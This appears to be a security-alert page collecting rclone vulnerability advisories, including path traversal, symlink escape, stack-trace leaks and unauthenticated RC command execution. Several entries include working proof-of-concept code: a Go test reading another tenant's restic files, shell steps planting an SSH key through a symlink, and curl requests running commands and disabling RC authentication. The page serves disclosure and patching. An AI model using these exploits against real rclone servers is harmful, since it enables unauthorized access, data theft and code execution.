Where
-Infinity
0

Vendor Risk Score

See how rclone compares to other vendors in security performance

View Risk Score →
Severity
2.7
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

rclone before v1.75.0 includes full Go stack traces in RC API error responses when panics occur. Attackers can trigger panics to leak internal file paths, module versions, goroutine states, and memory addresses.

First published (updated )
Severity
5.3
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

rclone before 1.75.0 mounts the pprof debug handler as its own router route, bypassing the fail-closed authentication rule in the main handler. Attackers can access the /debug/pprof/cmdline endpoint unauthenticated to retrieve the full process argv including backend credentials.

First published (updated )
Severity
6.5
Out-of-bounds Read
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

rclone versions >= v1.72.0 and <= v1.74.4 (fixed in v1.75.0) contain multiple denial-of-service vulnerabilities in the archive backend's SquashFS parser, which relies on the github.com/diskfs/go-diskfs dependency. The parser fails to validate attacker-controlled superblock and metadata values before use. An attacker who can place or modify a SquashFS image in storage exposed through an rclone :archive: remote can craft a malicious image that triggers an integer division-by-zero panic (zero block size), an out-of-bounds slice panic (out-of-range inode metadata offset), or a non-progress CPU loop (truncated metadata stream). Variants 1 and 2 terminate the rclone process and, via 'rclone serve sftp', can crash the entire SFTP server; variant 3 causes sustained CPU consumption. Parsing is lazy, so a victim or remote client must address or descend into the malicious archive object to trigger it.

First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

rclone serve restic --private-repos exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of /<username>/. The documentation states the flag "can be used to limit users to repositories starting with a path of /<username>/", and the shipped test TestResticPrivateRepositories asserts that user test may reach /test/config but is 403-blocked from /otheruser/config. This isolation is the entire security purpose of the flag.

The isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two different sources, and the path source is never canonicalized. checkPrivate authorizes the request by comparing the routed {userID} path segment against the authenticated user, while WithRemote builds the backend object key from the raw, un-cleaned URL path. A request such as GET /<me>/../<victim>/config keeps the first path segment equal to the attacker's own username (so checkPrivate returns the request as authorized) yet hands the backend the literal remote me/../victim/config. On any backend that resolves object paths with POSIX path.Join/path.Clean semantics — which includes the bundled memory backend used in the PoC below, and the widely deployed sftp and ftp backends — that .. segment collapses, and the operation is performed against the victim's object.

Because the same un-cleaned remote feeds the GET (download), POST (upload/overwrite) and DELETE handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's config/keys metadata and pack files, corrupting their repository, or deleting their backups outright (subject to --append-only, which still permits cross-tenant reads).

Affected code (v1.74.3, commit 37e4117…)

cmd/serve/restic/restic.go. The two middlewares disagree on what "the path" is. checkPrivate reads the chi route param userID:

go // Middleware to ensure authenticated user is accessing their own private folder func checkPrivate(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { user := chi.URLParam(r, "userID") userID, ok := libhttp.CtxGetUser(r.Context()) if ok && user != "" && user == userID { next.ServeHTTP(w, r) } else { http.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden) } }) }

WithRemote builds the backend object key from the raw URL path with no path.Clean and no .. rejection (the only transformation is the unrelated data/xx sharding rewrite):

go func WithRemote(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { var urlpath string rctx := chi.RouteContext(r.Context()) if rctx != nil && rctx.RoutePath != "" { urlpath = rctx.RoutePath } else { urlpath = r.URL.Path } urlpath = strings.Trim(urlpath, "/") parts := matchData.FindStringSubmatch(urlpath) // ... data/2159dd48 -> data/21/2159dd48 sharding only ... ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath) next.ServeHTTP(w, r.WithContext(ctx)) }) }

Route wiring (Bind): the auth-bearing {userID} segment is matched by chi for checkPrivate, but the catch-all / that WithRemote reads keeps the literal ..:

go if s.opt.PrivateRepos { router.Route("/{userID}", func(r chi.Router) { r.Use(checkPrivate) s.bind(r) }) ... }

The remote stored by WithRemote is then used verbatim by the object handlers, e.g. serveObject → s.newObject(ctx, remote) → s.f.NewObject(ctx, remote), postObject → operations.RcatSize(..., remote, ...), and deleteObject → o.Remove(...). For a request GET /test/../victim/config, instrumentation shows checkPrivate observing userIDparam="test" (authorized) while the object remote is "test/../victim/config" — the desync is exact.

Attacker model / precondition

The attacker is a low-privileged but legitimately authenticated user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.

Preconditions: (1) the operator runs rclone serve restic with --private-repos and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX path.Join/path.Clean semantics so the .. collapses before the object is located. This holds for the bundled memory backend (used in the self-contained PoC), and for the commonly deployed sftp and ftp backends, whose object path is computed as path.Join(f.absRoot, remote) (backend/sftp/sftp.go, o.path()), which canonicalizes ... It does not hold for the local backend (which deliberately re-encodes ./.. path components to fullwidth characters in cleanRootPath/localPath, neutralizing traversal), and S3-style backends treat keys as opaque so a literal .. key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.

Impact

Across the per-user trust boundary that --private-repos is meant to enforce, any authenticated user can, against any other user's repository on the same server:

- Read (GET): download the victim's restic config and keys/ files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.) - Overwrite (POST): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if --append-only is set. - Delete (DELETE): remove the victim's repository objects, destroying their backups. Blocked only if --append-only is set (which still allows the read primitive).

This is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback httptest listener backed by the bundled in-memory backend (which has the same path.Join key semantics as the sftp/ftp backends), then sends raw, un-normalized HTTP request-targets over a TCP socket (so the .. is not collapsed client-side). It proves: (1) a user reads their own object — 200; (2) a direct cross-tenant request is correctly blocked — 403; (3) the .. bypass reads the victim's secret — 200 + leak; (4) the same bypass overwrites the victim's object — 200.

Reproduce against the exact vulnerable tag:

console git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone cd rclone write the test file shown below to cmd/serve/restic/zzzpoctest.go go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v

cmd/serve/restic/zzzpoctest.go:

go package restic

import ( "bufio" "context" "encoding/base64" "fmt" "net" "net/http/httptest" "strings" "testing" "time"

"github.com/rclone/rclone/fs" "github.com/rclone/rclone/fs/config/configfile" "github.com/rclone/rclone/fs/object" "github.com/rclone/rclone/lib/random" "github.com/stretchr/testify/require"

"github.com/rclone/rclone/backend/memory" )

func pocBasicAuth(user, pass string) string { return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) }

// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized) // request-target + method + Basic auth, returning the full raw response. func rawReq(t testing.T, addr, method, target, user, pass string) string { conn, err := net.Dial("tcp", addr) require.NoError(t, err) defer func() { = conn.Close() }() cred := pocBasicAuth(user, pass) req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred) , err = conn.Write([]byte(req)) require.NoError(t, err) r := bufio.NewReader(conn) var sb strings.Builder buf := make([]byte, 8192) for { n, err := r.Read(buf) if n > 0 { sb.Write(buf[:n]) } if err != nil { break } } return sb.String() }

func pocBody(resp string) string { if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 { return resp[idx+4:] } return "" } func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] }

// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass // on a bucket-style backend (memory: same path.Join semantics as sftp/ftp). func TestPrivateRepoCrossTenantPoC(t testing.T) { configfile.Install() ctx := context.Background()

// Bucket-style backend shared by all private-repo users. f, err := fs.NewFs(ctx, ":memory:repos") require.NoError(t, err)

put := func(remote, content string) { info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f) , perr := f.Put(ctx, strings.NewReader(content), info) require.NoError(t, perr) }

// Victim "alice" uploads her restic config under her own private prefix. secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8) put("alice/config", secret)

// Attacker "mallory" has her own valid account on the same server. put("mallory/config", "mallory-own-config")

opt := newOpt() opt.PrivateRepos = true opt.Auth.BasicUser = "mallory" opt.Auth.BasicPass = "password" opt.HTTP.ListenAddr = nil

s, err := newServer(ctx, f, &opt) require.NoError(t, err) ts := httptest.NewServer(s.server.Router()) defer ts.Close() addr := strings.TrimPrefix(ts.URL, "http://")

// 1. Sanity: mallory reads her own config -> 200. r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password") t.Logf("[own] GET /mallory/config -> %s body=%q", pocStatus(r1), pocBody(r1))

// 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403. r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password") t.Logf("[direct-blocked] GET /alice/config -> %s body=%q", pocStatus(r2), pocBody(r2))

// 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so // checkPrivate passes, but the object remote collapses to alice/config. r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password") leaked := strings.Contains(pocBody(r3), secret) t.Logf("[BYPASS] GET /mallory/../alice/config -> %s leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))

require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object") require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")

// 4. Write bypass too: mallory overwrites alice's object (append-only off). r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password") t.Logf("[BYPASS-write] POST /mallory/../alice/config -> %s", pocStatus(r4)) }

Observed output (v1.74.3 and master HEAD):

text === RUN TestPrivateRepoCrossTenantPoC zzzpoctest.go: [own] GET /mallory/config -> HTTP/1.1 200 OK body="mallory-own-config" zzzpoctest.go: [direct-blocked] GET /alice/config -> HTTP/1.1 403 Forbidden body="Forbidden\n" zzzpoctest.go: [BYPASS] GET /mallory/../alice/config -> HTTP/1.1 200 OK leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0" zzzpoctest.go: [BYPASS-write] POST /mallory/../alice/config -> HTTP/1.1 200 OK --- PASS: TestPrivateRepoCrossTenantPoC (0.00s) PASS ok github.com/rclone/rclone/cmd/serve/restic 0.022s

The shipped TestResticPrivateRepositories continues to pass alongside this PoC, confirming the intended isolation model (own 200, direct cross-tenant 403) is exactly what the .. request defeats. Note the bypass is delivered as a raw request-target over the socket; a stock browser or net/http client would canonicalize the .. before sending, but curl --path-as-is, restic's own REST client, or any raw socket write preserves it.

Remediation

Enforce the per-user boundary on a canonicalized path, and make the authorized segment and the backend remote derive from the same cleaned value:

- In WithRemote (or before checkPrivate runs), reject or path.Clean the request path and refuse any path containing a .. element after a leading-slash trim — e.g. compute cleaned := path.Clean("/" + strings.Trim(urlpath, "/")) and 403/400 if cleaned differs from the original or still contains a .. segment. Then store cleaned (minus the leading slash) as the remote so the object key and the authorization decision are computed from one source of truth. - Additionally, in checkPrivate, verify that the (cleaned) object remote actually has the authenticated user's name as its first path segment, rather than trusting the chi {userID} route param in isolation: require strings.HasPrefix(cleanedRemote, userID+"/") || cleanedRemote == userID. - Defense in depth: the restic server should canonicalize and ..-reject incoming object paths even when --private-repos is off, so that no backend is relied upon to neutralize traversal.

Please credit 5ud0 / Tarmo Technologies.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:L

Summary With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorizedkeys, ~/.bashrc, or a crontab — i.e. code execution.

Details backend/local/local.go, Object.Update(): go } else { out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data } ... if o.translatedLink { if err == nil { if , err := os.Lstat(o.path); err == nil { os.Remove(o.path) } // Use the contents for the copied object to create a symlink err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed) } } symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., OCREATE)) follows existing symlink components with no ONOFOLLOW, so a file written under the planted symlinked directory escapes the destination.

PoC 1) Get the official stable binary: curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip unzip -j rclone-v1.74.3-linux-amd64.zip '/rclone' -d . # ./rclone -> v1.74.3 2) Create an attacker-controlled "remote" (two objects) and a victim layout: mkdir -p evil/pwn dest victimhome/.ssh printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest printf 'ssh-ed25519 AAAAATTACKERKEY pwned\n' > evil/pwn/authorizedkeys ls -l victimhome/.ssh # empty (before) 3) Serve the malicious remote (models any untrusted remote — bucket / WebDAV / HTTP share): cd evil && python3 -m http.server 38080 --bind 127.0.0.1 4) VICTIM ACTION — back up the untrusted remote preserving symlinks: ./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v 5) Observe — a file landed OUTSIDE ./dest: ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest) cat victimhome/.ssh/authorizedkeys # ssh-ed25519 AAAAATTACKERKEY pwned <-- written outside dest pwn.rclonelink sorts before pwn/authorizedkeys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorizedkeys, ~/.bashrc, or a crontab → code execution.

Impact An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorizedkeys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).

Remediation In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with ONOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.

1 / 2
Source: GitHub
First published (updated )
Severity
5
Path Traversal
AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L

Summary

rclone archive extract can write extracted files outside the user-selected destination prefix when extracting a crafted archive. A malicious archive entry containing parent path components such as ../ can escape the requested extraction prefix and create or overwrite sibling objects in the same bucket/path scope.

Details

The affected code path is in cmd/archive/extract/extract.go.

In ArchiveExtract(), the archive entry path is taken from f.NameInArchive. The code strips only a leading ./ prefix and then joins the archive entry path with the destination directory:

go remote := f.NameInArchive remote = strings.TrimPrefix(remote, "./") if dstDir != "" { remote = path.Join(dstDir, remote) } , err = operations.Rcat(ctx, dst, remote, fin, f.ModTime(), nil)

Parent path components such as ../ are not rejected before path.Join() is used.

When the destination is an S3-style remote such as:

text :s3:bucket/safe/prefix

rclone creates the destination filesystem rooted at bucket/safe and treats prefix as the destination directory. If the archive contains an entry named:

text ../escaped-from-prefix.txt

then path.Join("prefix", "../escaped-from-prefix.txt") resolves to:

text escaped-from-prefix.txt

As a result, the S3 backend uploads the object to:

text bucket/safe/escaped-from-prefix.txt

instead of the expected destination:

text bucket/safe/prefix/escaped-from-prefix.txt

This allows an attacker-controlled archive to escape the selected extraction prefix on object-storage remotes.

PoC

Test environment:

- Windows 11 - rclone v1.74.3 official Windows amd64 binary - Local fake S3 HTTP endpoint - Crafted ZIP archive containing ../escaped-from-prefix.txt

Steps to reproduce:https://drive.google.com/file/d/1PcLKFgiWSVSATB8500yP28jdzwt9FAt/view?usp=sharing

1. Extract the attached PoC ZIP.

2. Run the PoC script:

powershell powershell -ExecutionPolicy Bypass -File .\run-poc.ps1 -RcloneExe "C:\path\to\rclone.exe"

3. The PoC creates a ZIP archive containing this entry:

text ../escaped-from-prefix.txt

4. The PoC starts a local fake S3 endpoint and runs rclone with an S3-style destination prefix:

powershell rclone archive extract malicious.zip :s3:bucket/safe/prefix

5. Observe the fake S3 request log.

Expected safe behavior:

text PUT /bucket/safe/prefix/escaped-from-prefix.txt

Observed behavior:

text PUT /bucket/safe/escaped-from-prefix.txt?x-id=PutObject

This shows that the archive entry escaped the requested safe/prefix destination and was written under safe/ instead.

The PoC package includes:

- run-poc.ps1 - fake-s3-server.py - README.md - report-draft.md - captured proof logs

Impact

An attacker who supplies an archive that a victim extracts with rclone archive extract can cause extracted files to be written outside the destination prefix selected by the victim when the destination is an S3-style object storage remote.

Depending on the victim's configured remote credentials and bucket permissions, this may allow creation or overwrite of sibling objects outside the intended extraction directory/prefix.

This does not require compromising the S3 service itself. The attack relies on the victim extracting an attacker-controlled archive with rclone into an object-storage prefix.

1 / 2
Source: GitHub
First published (updated )
Severity
7

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. From 1.46.0 until 1.74.3, rclone rcd --rc-serve accepts unauthenticated GET and HEAD requests to paths of the form: /[remote:path]/object. The remote value is parsed from the URL and passed to normal backend initialization. Inline remote configuration can set backend options that execute local commands during initialization. As a result, a single unauthenticated GET or HEAD request can execute a command as the rclone process user. This vulnerability is fixed in 1.74.3.

First published (updated )
Severity
9.8
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

rclone rcd --rc-serve accepts unauthenticated GET and HEAD requests to paths of the form:

text /[remote:path]/object

The remote value is parsed from the URL and passed to normal backend initialization. Inline remote configuration can set backend options that execute local commands during initialization. As a result, a single unauthenticated GET or HEAD request can execute a command as the rclone process user.

Versions from 1.55.0 onwards are vulnerable to command execution. Earlier versions (from 1.46.0) are vulnerable to the unauthenticated local file read described under "Additional impact" but not to command execution, because inline backend option overrides did not exist until 1.55.0.

Preconditions

Preconditions for this vulnerability are:

- The rclone remote control API must be enabled, either by the --rc flag or by running the rclone rcd server - The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the --rc-addr flag is in use - The rc must have been deployed without global RC HTTP authentication - so not using --rc-user/--rc-pass/--rc-htpasswd/etc - The --rc-serve flag must be in use

Impact

An unauthenticated network attacker who can reach the RC HTTP listener can execute commands as the rclone process user.

Additional impact observed during testing:

- GET and HEAD both trigger backend initialization. - The same path allows unauthenticated local file read through inline local remotes. - Inline global. options can mutate process-wide rclone configuration, including global.httpproxy. - Browser subresource requests can also trigger the issue against a localhost-only RC listener. In testing, Firefox triggered the payload from a public HTTPS page containing only an <img> tag pointing at http://127.0.0.1:5572/.... This is an additional impact multiplier, not the primary attack precondition.

Mitigations / Workarounds

- Upgrade to rclone 1.74.3 (or 1.75.0 when released). - Or, configure HTTP authentication on the rc with --rc-user/--rc-pass or --rc-htpasswd, which has always been the recommended deployment. - Or, do not use --rc-serve if file serving is not needed.

The Fix

The vulnerabilities in this advisory have been fixed by two commits:

- rc: fix unauthenticated command execution via --rc-serve inline remotes - rc: stop global. connection string options changing config

1 / 2
Source: GitHub
First published (updated )
Severity
7

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Starting in version 1.48.0 and prior to version 1.73.5, the RC endpoint operations/fsinfo is exposed without AuthRequired: true and accepts attacker-controlled fs input. Because rc.GetFs(...) supports inline backend definitions, an unauthenticated attacker can instantiate an attacker-controlled backend on demand. For the WebDAV backend, bearertokencommand is executed during backend initialization, making single-request unauthenticated local command execution possible on reachable RC deployments without global HTTP authentication. Version 1.73.5 patches the issue.

First published (updated )
Severity
7

Rclone is a command-line program to sync files and directories to and from different cloud storage providers. The RC endpoint options/set is exposed without AuthRequired: true, but it can mutate global runtime configuration, including the RC option block itself. Starting in version 1.45.0 and prior to version 1.73.5, an unauthenticated attacker can set rc.NoAuth=true, which disables the authorization gate for many RC methods registered with AuthRequired: true on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods. Version 1.73.5 patches the issue.

First published (updated )
Severity
9.2
OS Command Injection, Code Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The RC endpoint operations/fsinfo is exposed without AuthRequired: true and accepts attacker-controlled fs input. Because rc.GetFs(...) supports inline backend definitions, an unauthenticated attacker can instantiate an attacker-controlled backend on demand. For the WebDAV backend, bearertokencommand is executed during backend initialization, making single-request unauthenticated local command execution possible on reachable RC deployments without global HTTP authentication.

Preconditions

Preconditions for this vulnerability are:

- The rclone remote control API must be enabled, either by the --rc flag or by running the rclone rcd server - The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the --rc-addr flag is in use - The rc must have been deployed without global RC HTTP authentication - so not using --rc-user/--rc-pass/--rc-htpasswd/etc

Details The root cause consists of the following pieces:

1. operations/fsinfo is not protected with AuthRequired: true 2. operations/fsinfo calls rc.GetFs(...) on attacker-controlled input 3. rc.GetFs(...) supports inline backend creation through object-valued fs 4. WebDAV backend initialization executes bearertokencommand

Relevant code paths:

- fs/operations/rc.go - operations/fsinfo is registered without AuthRequired: true - rcFsInfo() calls rc.GetFs(ctx, in)

- fs/rc/cache.go - GetFs() / GetFsNamed() can parse an object-valued fs - getConfigMap() converts attacker-controlled JSON into a backend config string

- backend/webdav/webdav.go - bearertokencommand is a supported backend option - NewFs(...) calls fetchAndSetBearerToken() when bearertokencommand is set - fetchBearerToken() invokes exec.Command(...)

This creates a practical single-request unauthenticated command-execution primitive on reachable RC servers without global HTTP authentication.

This was alidated on: - current master as of 2026-04-14: bf55d5e6d37fd86164a87782191f9e1ffcaafa82 - latest public release tested locally: v1.73.4

This was also validated on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).

PoC Minimal single-request form PoC Start a vulnerable RC server:

bash rclone rcd --rc-addr 127.0.0.1:5572

No --rc-user, no --rc-pass, no --rc-htpasswd.

Then send a single request:

bash curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \ --data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearertokencommand='/usr/bin/touch /tmp/rclonefsinforcepocmarker':"

Expected result: - HTTP 200 JSON response from operations/fsinfo - /tmp/rclonefsinforcepocmarker is created on the host

Impact This is effectively a single-request unauthenticated command-execution vulnerability on reachable RC deployments without global HTTP authentication.

In practice, command execution in the rclone process context can lead to higher-impact outcomes such as local file read, file write, or shell access, depending on the deployed environment.

Testing performed This was successfully reproduced: - on a local test environment - on a public amd64 Ubuntu host controlled by the tester

On the public host it was confirmed:

- the unauthenticated operations/fsinfo exploit worked - command execution occurred on the host - the issue was reproducible through direct host execution

1 / 3
Source: GitHub
First published (updated )
Severity
9.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The RC endpoint options/set is exposed without AuthRequired: true, but it can mutate global runtime configuration, including the RC option block itself. An unauthenticated attacker can set rc.NoAuth=true, which disables the authorization gate for many RC methods registered with AuthRequired: true on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods.

Preconditions

Preconditions for this vulnerability are:

- The rclone remote control API must be enabled, either by the --rc flag or by running the rclone rcd server - The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the --rc-addr flag is in use - The rc must have been deployed without global RC HTTP authentication - so not using --rc-user/--rc-pass/--rc-htpasswd/etc

Details The root cause is present from v1.45 onward. Some higher-impact exploitation paths became available in later releases as additional RC functionality was introduced.

The issue is caused by two properties of the RC implementation:

1. options/set is exposed without AuthRequired: true 2. the RC server enforces authorization for AuthRequired calls using the mutable runtime value s.opt.NoAuth

Relevant code paths:

- fs/rc/config.go - registers options/set without AuthRequired: true - rcOptionsSet reshapes attacker-controlled input into global option blocks

- fs/rc/rcserver/rcserver.go - request handling checks: - if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth() - once rc.NoAuth is changed to true, later AuthRequired methods become callable without credentials

This creates a runtime auth-bypass primitive on the RC interface.

After setting rc.NoAuth=true, previously protected administrative methods become callable, including configuration and operational endpoints such as:

- config/listremotes - config/dump - config/get - operations/list - operations/copyfile - core/command

Relevant code for the second-stage command execution path:

- fs/metadata.go - metadataMapper() uses exec.Command(...)

- fs/operations/rc.go - operations/copyfile is normally AuthRequired: true - once rc.NoAuth=true, it becomes reachable without credentials

This was validating using the following: - current master as of 2026-04-14: bf55d5e6d37fd86164a87782191f9e1ffcaafa82 - latest public release tested locally: v1.73.4

The issue was also verified on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).

PoC Minimal reproduction Start a vulnerable server:

bash rclone rcd --rc-addr 127.0.0.1:5572

No --rc-user, no --rc-pass, no --rc-htpasswd.

First confirm that a protected RC method is initially blocked:

bash curl -sS -X POST http://127.0.0.1:5572/config/listremotes \ -H 'Content-Type: application/json' \ --data '{}'

Expected result: HTTP 403.

Use unauthenticated options/set to disable the auth gate:

bash curl -sS -X POST http://127.0.0.1:5572/options/set \ -H 'Content-Type: application/json' \ --data '{"rc":{"NoAuth":true}}'

Expected result: HTTP 200 {}

Then call the same protected method again without credentials:

bash curl -sS -X POST http://127.0.0.1:5572/config/listremotes \ -H 'Content-Type: application/json' \ --data '{}'

Expected result: HTTP 200 with a JSON response such as:

json {"remotes":[]}

Testing performed This was successfully reproduced: - on the tester's ocal test environment - on a public amd64 Ubuntu host controlled by the tester

Using the public host, the following was confirmed:

- unauthenticated options/set successfully set rc.NoAuth=true - previously protected RC methods became callable without credentials - the issue was reproducible through direct host execution

Impact This is an authorization bypass on the RC administrative interface.

It can allow an unauthenticated network attacker, on a reachable RC deployment without global HTTP authentication, to disable the intended auth boundary for protected RC methods and gain access to sensitive configuration and operational functionality.

Depending on the enabled RC surface and runtime configuration, this can further enable higher-impact outcomes such as local file read, credential/config disclosure, filesystem enumeration, and command execution.

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
Weak RNG
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

An issue was discovered in Rclone before 1.53.3. Due to the use of a weak random number generator, the password generator has been producing weak passwords with much less entropy than advertised. The suggested passwords depend deterministically on the time the second rclone was started. This limits the entropy of the passwords enormously. These passwords are often used in the crypt backend for encryption of data. It would be possible to make a dictionary of all possible passwords with about 38 million entries per password length. This would make decryption of secret material possible with a plausible amount of effort. NOTE: all passwords generated by affected versions should be changed.

First published (updated )
Severity
7.5
Infoleak
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

In Rclone 1.42, use of "rclone sync" to migrate data between two Google Cloud Storage buckets might allow attackers to trigger the transmission of any URL's content to Google, because there is no validation of a URL field received from the Google Cloud Storage API server, aka a "RESTLESS" issue.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203